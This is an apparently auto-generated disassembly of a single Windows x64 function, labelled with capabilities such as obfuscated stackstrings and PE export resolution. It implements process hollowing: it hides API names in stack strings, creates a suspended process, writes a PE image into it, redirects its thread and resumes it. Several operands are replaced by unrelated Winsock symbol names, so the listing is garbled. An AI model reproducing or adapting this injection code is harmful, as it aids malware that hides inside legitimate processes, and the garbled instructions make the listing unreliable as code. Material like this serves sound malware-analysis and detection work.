Function at 0x14001d880
Capabilities:
Contain obfuscated stackstrings
Enumerate pe sections
Parse pe header
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 0x20], r9
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rdi
sub rsp, 0x1d0
mov byte [rsp + 0x60], 0
mov qword [rsp + 0xc8], 0
mov qword [rsp + 0xf0], 0
mov qword [rsp + 0xf8], 0
call fcn.14000d930
mov dword [rsp + 0x128], eax
mov byte [rsp + 0x61], 0
movzx eax, byte [rsp + 0x218]
test eax, eax
je 0x14001d9a9
call fcn.14007b780
mov rdx, rax
lea rcx, [rsp + 0x130]
call fcn.140029040
nop
movzx r9d, byte [rsp + 0x210]
lea r8, [rsp + 0x130]
lea rdx, [rsp + 0xc8]
mov ecx, dword [rsp + 0x128]
call fcn.14001bf80
movzx eax, al
test eax, eax
je 0x14001d988
cmp qword [rsp + 0xc8], 0
je 0x14001d988
lea rax, [rsp + 0xf8]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 1
mov r9d, 2
xor r8d, r8d
mov edx, 0x2000000
mov rcx, qword [rsp + 0xc8]
call fcn.140084da0
test eax, eax
je 0x14001d988
xor r8d, r8d
mov rdx, qword [rsp + 0xc8]
lea rcx, [rsp + 0xf0]
call fcn.140084ec0
test eax, eax
je 0x14001d988
mov byte [rsp + 0x61], 1
mov rax, qword [rsp + 0x130]
sub rax, 0x18
mov qword [rsp + 0x150], rax
mov rcx, qword [rsp + 0x150]
call fcn.14007cf20
movzx eax, byte [rsp + 0x218]
test eax, eax
je 0x14001d9c5
movzx eax, byte [rsp + 0x61]
test eax, eax
jne 0x14001d9c5
xor al, al
jmp 0x14001e333
mov eax, 1
imul rax, rax, 6
mov byte [rsp + rax + 0x70], 0x33
mov eax, 1
imul rax, rax, 7
mov byte [rsp + rax + 0x70], 0x32
mov eax, 1
imul rax, rax, 4
mov byte [rsp + rax + 0x70], 0x65
mov eax, 1
imul rax, rax, 2
mov byte [rsp + rax + 0x70], WSACleanup
mov eax, 1
imul rax, rax, 8
mov byte [rsp + rax + 0x70], 0x2e
mov eax, 1
imul rax, rax, 0
mov byte [rsp + rax + 0x70], 0x4b
mov eax, 1
imul rax, rax, 0xa
mov byte [rsp + rax + 0x70], WSASetLastError
mov eax, 1
imul rax, rax, 0xb
mov byte [rsp + rax + 0x70], WSASetLastError
mov eax, 1
imul rax, rax, 9
mov byte [rsp + rax + 0x70], 0x64
mov eax, 1
imul rax, rax, 5
mov byte [rsp + rax + 0x70], WSASetLastError
mov eax, 1
imul rax, rax, 1
mov byte [rsp + rax + 0x70], 0x65
mov eax, 1
imul rax, rax, 3
mov byte [rsp + rax + 0x70], WSASetLastError
mov eax, 1
imul rax, rax, 0xc
mov byte [rsp + rax + 0x70], 0
lea rcx, [rsp + 0x70]
call fcn.14008a1b0
mov qword [rsp + 0x100], rax
cmp qword [rsp + 0x100], 0
je 0x14001de14
mov eax, 1
imul rax, rax, 9
mov byte [rsp + rax + 0x90], 0x43
mov eax, 1
imul rax, rax, 0xe
mov byte [rsp + rax + 0x90], 0x78
mov eax, 1
imul rax, rax, 0
mov byte [rsp + rax + 0x90], 0x53
mov eax, 1
imul rax, rax, 0xf
mov byte [rsp + rax + 0x90], reloc.WS2_32.dll_WSACleanup
mov eax, 1
imul rax, rax, 0x10
mov byte [rsp + rax + 0x90], 0
mov eax, 1
imul rax, rax, 0xa
mov byte [rsp + rax + 0x90], reloc.WS2_32.dll_WSAGetLastError
mov eax, 1
imul rax, rax, 2
mov byte [rsp + rax + 0x90], reloc.WS2_32.dll_WSACleanup
mov eax, 1
imul rax, rax, 8
mov byte [rsp + rax + 0x90], 0x64
mov eax, 1
imul rax, rax, 7
mov byte [rsp + rax + 0x90], 0x61
mov eax, 1
imul rax, rax, 4
mov byte [rsp + rax + 0x90], WSAGetLastError
mov eax, 1
imul rax, rax, 5
mov byte [rsp + rax + 0x90], WSACleanup
mov eax, 1
imul rax, rax, 6
mov byte [rsp + rax + 0x90], 0x65
mov eax, 1
imul rax, rax, 0xc
mov byte [rsp + rax + 0x90], reloc.WS2_32.dll_WSACleanup
mov eax, 1
imul rax, rax, 1
mov byte [rsp + rax + 0x90], 0x65
mov eax, 1
imul rax, rax, 3
mov byte [rsp + rax + 0x90], 0x54
mov eax, 1
imul rax, rax, 0xd
mov byte [rsp + rax + 0x90], 0x65
mov eax, 1
imul rax, rax, 0xb
mov byte [rsp + rax + 0x90], WSACleanup
lea rdx, [rsp + 0x90]
mov rcx, qword [rsp + 0x100]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x1401ddfc0], rax
mov eax, 1
imul rax, rax, 1
mov byte [rsp + rax + 0x80], 0x65
mov eax, 1
imul rax, rax, 7
mov byte [rsp + rax + 0x80], WSAGetLastError
mov eax, 1
imul rax, rax, 5
mov byte [rsp + rax + 0x80], 0x65
mov eax, 1
imul rax, rax, 0xb
mov byte [rsp + rax + 0x80], 0x64
mov eax, 1
imul rax, rax, 8
mov byte [rsp + rax + 0x80], WSACleanup
mov eax, 1
imul rax, rax, 4
mov byte [rsp + rax + 0x80], WSACleanup
mov eax, 1
imul rax, rax, 9
mov byte [rsp + rax + 0x80], 0x65
mov eax, 1
imul rax, rax, 2
mov byte [rsp + rax + 0x80], reloc.WS2_32.dll_WSAStartup
mov eax, 1
imul rax, rax, 3
mov byte [rsp + rax + 0x80], 0x75
mov eax, 1
imul rax, rax, 0
mov byte [rsp + rax + 0x80], 0x52
mov eax, 1
imul rax, rax, 0xa
mov byte [rsp + rax + 0x80], 0x61
mov eax, 1
imul rax, rax, 6
mov byte [rsp + rax + 0x80], 0x54
mov eax, 1
imul rax, rax, 0xc
mov byte [rsp + rax + 0x80], 0
lea rdx, [rsp + 0x80]
mov rcx, qword [rsp + 0x100]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x1401ddfc8], rax
mov eax, 1
imul rax, rax, 0xa
mov byte [rsp + rax + 0xa8], WSACleanup
mov eax, 1
imul rax, rax, 9
mov byte [rsp + rax + 0xa8], 0x50
mov eax, 1
imul rax, rax, 0xb
mov byte [rsp + rax + 0xa8], reloc.WS2_32.dll_WSAGetLastError
mov eax, 1
imul rax, rax, 3
mov byte [rsp + rax + 0xa8], WSACleanup
mov eax, 1
imul rax, rax, 0x10
mov byte [rsp + rax + 0xa8], 0
mov eax, 1
imul rax, rax, 4
mov byte [rsp + rax + 0xa8], WSASetLastError
mov eax, 1
imul rax, rax, 6
mov byte [rsp + rax + 0xa8], 0x61
mov eax, 1
imul rax, rax, 2
mov byte [rsp + rax + 0xa8], WSACleanup
mov eax, 1
imul rax, rax, 0xd
mov byte [rsp + rax + 0xa8], 0x65
mov eax, 1
imul rax, rax, 8
mov byte [rsp + rax + 0xa8], 0x65
mov eax, 1
imul rax, rax, 0xc
mov byte [rsp + rax + 0xa8], 0x63
mov eax, 1
imul rax, rax, 7
mov byte [rsp + rax + 0xa8], reloc.WS2_32.dll_WSACleanup
mov eax, 1
imul rax, rax, 1
mov byte [rsp + rax + 0xa8], 0x65
mov eax, 1
imul rax, rax, 5
mov byte [rsp + rax + 0xa8], WSACleanup
mov eax, 1
imul rax, rax, 0xf
mov byte [rsp + rax + 0xa8], reloc.WS2_32.dll_WSAStartup
mov eax, 1
imul rax, rax, 0xe
mov byte [rsp + rax + 0xa8], reloc.WS2_32.dll_WSAStartup
mov eax, 1
imul rax, rax, 0
mov byte [rsp + rax + 0xa8], 0x54
lea rdx, [rsp + 0xa8]
mov rcx, qword [rsp + 0x100]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x1401ddfd0], rax
jmp 0x14001de1b
xor al, al
jmp 0x14001e333
mov rax, qword [rsp + 0x1e0]
mov qword [rsp + 0x138], rax
mov rax, qword [rsp + 0x138]
movzx eax, word [rax]
cmp eax, 0x5a4d
jne 0x14001e2c2
mov rax, qword [rsp + 0x138]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x1e0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x68], rax
mov rax, qword [rsp + 0x68]
cmp dword [rax], 0x4550
jne 0x14001e2c2
lea rdx, [rsp + 0xd8]
mov rcx, qword [rsp + 0x1e8]
call fcn.140085140
mov rax, qword [rsp + 0x68]
movzx eax, word [rax + 4]
cmp eax, 0x14c
jne 0x14001dea0
cmp dword [rsp + 0xd8], 0
jne 0x14001deba
mov rax, qword [rsp + 0x68]
movzx eax, word [rax + 4]
cmp eax, 0x8664
jne 0x14001dec4
cmp dword [rsp + 0xd8], 6
je 0x14001dec4
movzx eax, byte [rsp + 0x60]
jmp 0x14001e333
lea rax, [rsp + 0x110]
mov rdi, rax
xor eax, eax
mov ecx, 0x18
rep stosb byte [rdi], al
lea rax, [rsp + 0x160]
mov rdi, rax
xor eax, eax
mov ecx, 0x68
rep stosb byte [rdi], al
mov dword [rsp + 0x160], WSASetLastError
mov dword [rsp + 0x19c], 0x101
xor eax, eax
mov word [rsp + 0x1a0], ax
movzx eax, byte [rsp + 0x218]
test eax, eax
je 0x14001df8a
lea rax, [rsp + 0x110]
mov qword [rsp + 0x50], rax
lea rax, [rsp + 0x160]
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x40], 0
mov rax, qword [rsp + 0xf0]
mov qword [rsp + 0x38], rax
mov dword [rsp + 0x30], 0x8000404
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [rsp + 0x1f0]
mov rdx, qword [rsp + 0x1e8]
mov rcx, qword [rsp + 0xf8]
call fcn.140084fc0
mov dword [rsp + 0xdc], eax
jmp 0x14001dfe8
lea rax, [rsp + 0x110]
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0x160]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x8000004
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov rdx, qword [rsp + 0x1f0]
mov rcx, qword [rsp + 0x1e8]
call fcn.1400890b0
mov dword [rsp + 0xdc], eax
cmp dword [rsp + 0xdc], 0
je 0x14001e2c2
mov r9d, 4
mov r8d, 0x1000
mov edx, ntohs
xor ecx, ecx
call fcn.140087e20
mov qword [rsp + 0xd0], rax
mov rax, qword [rsp + 0xd0]
mov dword [rax + 0x30], 0x100002
mov rdx, qword [rsp + 0xd0]
mov rcx, qword [rsp + 0x118]
call fcn.1400860b0
test eax, eax
je 0x14001e2b2
mov rax, qword [rsp + 0xd0]
mov rax, qword [rax + 0x88]
add rax, 0x10
mov qword [rsp + 0x20], 0
mov r9d, 8
lea r8, [rsp + 0x140]
mov rdx, rax
mov rcx, qword [rsp + 0x110]
call fcn.140086280
mov eax, dword [rsp + 0x140]
mov rcx, qword [rsp + 0x68]
cmp rax, qword [rcx + 0x30]
jne 0x14001e0aa
mov rdx, qword [rsp + 0x140]
mov rcx, qword [rsp + 0x110]
call fcn.140088fd0
mov dword [rsp + 0x148], eax
movzx eax, byte [rsp + 0x208]
test eax, eax
je 0x14001e0c3
mov dword [rsp + 0xe0], 0x40
jmp 0x14001e0ce
mov dword [rsp + 0xe0], 4
mov eax, dword [rsp + 0xe0]
mov dword [rsp + 0x12c], eax
mov rax, qword [rsp + 0x68]
mov eax, dword [rax + 0x50]
mov ecx, dword [rsp + 0x12c]
mov dword [rsp + 0x20], ecx
mov r9d, 0x3000
mov r8d, eax
mov rax, qword [rsp + 0x68]
mov rdx, qword [rax + 0x30]
mov rcx, qword [rsp + 0x110]
call fcn.140087f20
mov qword [rsp + 0x108], rax
cmp qword [rsp + 0x108], 0
je 0x14001e2a0
mov rax, qword [rsp + 0x68]
mov eax, dword [rax + 0x54]
mov qword [rsp + 0x20], 0
mov r9d, eax
mov r8, qword [rsp + 0x1e0]
mov rdx, qword [rsp + 0x108]
mov rcx, qword [rsp + 0x110]
call fcn.140085fb0
mov rax, qword [rsp + 0x68]
movzx eax, word [rax + 0x14]
mov rcx, qword [rsp + 0x68]
lea rax, [rcx + rax + 0x18]
mov qword [rsp + 0xe8], rax
mov dword [rsp + 0xc0], 0
jmp 0x14001e18e
mov eax, dword [rsp + 0xc0]
inc eax
mov dword [rsp + 0xc0], eax
mov rax, qword [rsp + 0x68]
movzx eax, word [rax + 6]
cmp dword [rsp + 0xc0], eax
jge 0x14001e212
mov rax, qword [rsp + 0xe8]
mov eax, dword [rax + 0x10]
mov rcx, qword [rsp + 0xe8]
mov ecx, dword [rcx + 0x14]
mov rdx, qword [rsp + 0x1e0]
add rdx, rcx
mov rcx, rdx
mov rdx, qword [rsp + 0xe8]
mov edx, dword [rdx + 0xc]
mov rdi, qword [rsp + 0x108]
add rdi, rdx
mov rdx, rdi
mov qword [rsp + 0x20], 0
mov r9d, eax
mov r8, rcx
mov rcx, qword [rsp + 0x110]
call fcn.140085fb0
mov rax, qword [rsp + 0xe8]
add rax, 0x28
mov qword [rsp + 0xe8], rax
jmp 0x14001e17e
mov rax, qword [rsp + 0x68]
add rax, 0x30
mov rcx, qword [rsp + 0xd0]
mov rcx, qword [rcx + 0x88]
add rcx, 0x10
mov qword [rsp + 0x20], 0
mov r9d, 8
mov r8, rax
mov rdx, rcx
mov rcx, qword [rsp + 0x110]
call fcn.140085fb0
mov rax, qword [rsp + 0x68]
mov eax, dword [rax + 0x28]
mov rcx, qword [rsp + 0x108]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xd0]
mov qword [rcx + 0x80], rax
mov rdx, qword [rsp + 0xd0]
mov rcx, qword [rsp + 0x118]
call qword [0x1401ddfc0]
mov rcx, qword [rsp + 0x118]
call qword [0x1401ddfc8]
mov byte [rsp + 0x60], 1
jmp 0x14001e2b0
xor edx, edx
mov rcx, qword [rsp + 0x110]
call qword [0x1401ddfd0]
jmp 0x14001e2c2
xor edx, edx
mov rcx, qword [rsp + 0x110]
call qword [0x1401ddfd0]
cmp qword [rsp + 0xf0], 0
je 0x14001e2e6
mov rcx, qword [rsp + 0xf0]
call fcn.140089c60
mov qword [rsp + 0xf0], 0
cmp qword [rsp + 0xf8], 0
je 0x14001e30a
mov rcx, qword [rsp + 0xf8]
call fcn.140088c20
mov qword [rsp + 0xf8], 0
cmp qword [rsp + 0xc8], 0
je 0x14001e32e
mov rcx, qword [rsp + 0xc8]
call fcn.140088c20
mov qword [rsp + 0xc8], 0
movzx eax, byte [rsp + 0x60]
add rsp, 0x1d0
pop rdi
ret